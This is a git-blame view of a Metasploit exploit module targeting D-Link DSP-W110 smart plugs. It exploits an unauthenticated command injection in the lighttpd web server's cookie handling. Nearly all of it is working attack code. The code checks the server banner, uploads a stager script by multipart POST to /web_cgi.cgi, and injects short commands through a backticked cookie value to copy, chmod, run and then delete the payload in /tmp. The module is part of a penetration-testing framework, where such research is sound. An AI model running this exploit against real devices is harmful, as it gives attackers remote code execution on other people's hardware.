Files
metasploit-gs/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

151 lines
4.6 KiB
Ruby
Raw Normal View History

2015-06-13 21:45:56 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-06-13 21:45:56 +02:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-06-13 21:45:56 +02:00
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
2015-06-23 23:09:08 +02:00
include Msf::Exploit::CmdStager
2015-06-13 21:45:56 +02:00
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Cookie Command Execution',
'Description' => %q{
2015-06-23 23:09:08 +02:00
This module exploits an anonymous remote upload and code execution vulnerability on different
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
2015-06-13 21:45:56 +02:00
lighttpd web server when handling specially crafted cookie values. This module has been
2015-06-24 21:32:01 +02:00
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
2015-06-13 21:45:56 +02:00
},
'Author' =>
[
2015-06-14 08:27:23 +02:00
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
2015-07-15 11:21:39 +02:00
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
2015-06-13 21:45:56 +02:00
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' =>
[
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2015-06-12',
2015-06-23 23:09:08 +02:00
'Payload' =>
2015-06-20 07:59:25 +02:00
{
2015-06-23 23:09:08 +02:00
'DisableNops' => true
2015-06-20 07:59:25 +02:00
},
2015-06-13 21:45:56 +02:00
'Targets' =>
[
2015-06-24 21:32:01 +02:00
[ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target
2015-06-23 23:09:08 +02:00
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
2015-06-24 21:32:01 +02:00
[ 'MIPS Big Endian',
2015-06-23 23:09:08 +02:00
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE
}
2015-07-15 11:21:39 +02:00
]
2015-06-13 21:45:56 +02:00
],
2015-06-23 23:09:08 +02:00
'DefaultTarget' => 1
2015-06-13 21:45:56 +02:00
))
end
def check
begin
res = send_request_cgi({
'uri' => '/',
2015-07-15 11:21:39 +02:00
'method' => 'GET'
2015-06-13 21:45:56 +02:00
})
2015-06-24 21:32:01 +02:00
if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
2015-06-13 21:45:56 +02:00
return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Unknown
end
def exploit
2016-02-01 15:12:03 -06:00
print_status("Trying to access the device ...")
2015-06-13 21:45:56 +02:00
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
end
2016-02-01 15:12:03 -06:00
print_status("Uploading stager ...")
2015-06-23 23:09:08 +02:00
@counter = 1
execute_cmdstager(
:flavor => :echo,
2015-07-15 11:21:39 +02:00
:linemax => 95 # limited by our upload, larger payloads crash the web server
2015-06-23 23:09:08 +02:00
)
2016-02-01 15:12:03 -06:00
print_status("creating payload and executing it ...")
2015-06-23 23:09:08 +02:00
(1 .. @counter).each do |act_file|
2015-07-15 11:21:39 +02:00
# the http server blocks access to our files ... we copy it to a new one
# the length of our command is restricted to 19 characters
2015-06-23 23:09:08 +02:00
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "chmod +x /tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "/tmp/#{act_file+@counter}"
execute_final_command(cmd)
cmd = "rm /tmp/#{act_file}"
execute_final_command(cmd)
cmd = "rm /tmp/#{act_file+@counter}"
execute_final_command(cmd)
end
2015-06-13 21:45:56 +02:00
end
2015-06-23 23:09:08 +02:00
def execute_command(cmd,opts)
2015-07-15 11:21:39 +02:00
# upload our stager to a shell script
# upload takes quite long because there is no response from the web server
2015-06-13 21:45:56 +02:00
2015-07-06 15:00:12 +02:00
file_upload = "#!/bin/sh\n"
file_upload << cmd << "\n"
post_data = Rex::MIME::Message.new
2015-07-09 08:31:11 +02:00
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
post_data.bound = "-#{rand_text_alpha(12)}--"
2015-07-06 15:00:12 +02:00
file = post_data.to_s
2015-06-13 21:45:56 +02:00
2015-06-23 23:09:08 +02:00
@counter = @counter + 1
2015-06-13 21:45:56 +02:00
2015-06-23 23:09:08 +02:00
begin
send_request_cgi({
'method' => 'POST',
2015-07-09 08:31:11 +02:00
'uri' => "/web_cgi.cgi",
'vars_get' => {
'&request' =>'UploadFile',
2015-07-15 11:21:39 +02:00
'path' => '/tmp/'
2015-07-09 08:31:11 +02:00
},
'encode_params' => false,
2015-07-06 15:00:12 +02:00
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => file
2015-06-23 23:09:08 +02:00
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
2015-06-13 21:45:56 +02:00
end
2015-06-20 07:59:25 +02:00
2015-06-13 21:45:56 +02:00
end
2015-06-23 23:09:08 +02:00
def execute_final_command(cmd)
2015-07-15 11:21:39 +02:00
# very limited space - larger commands crash the webserver
2015-07-06 15:00:12 +02:00
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
2015-06-13 21:45:56 +02:00
begin
2015-06-23 23:09:08 +02:00
send_request_cgi({
2015-06-13 21:45:56 +02:00
'method' => 'GET',
'uri' => "/",
'cookie' => "i=`#{cmd}`"
}, 5)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end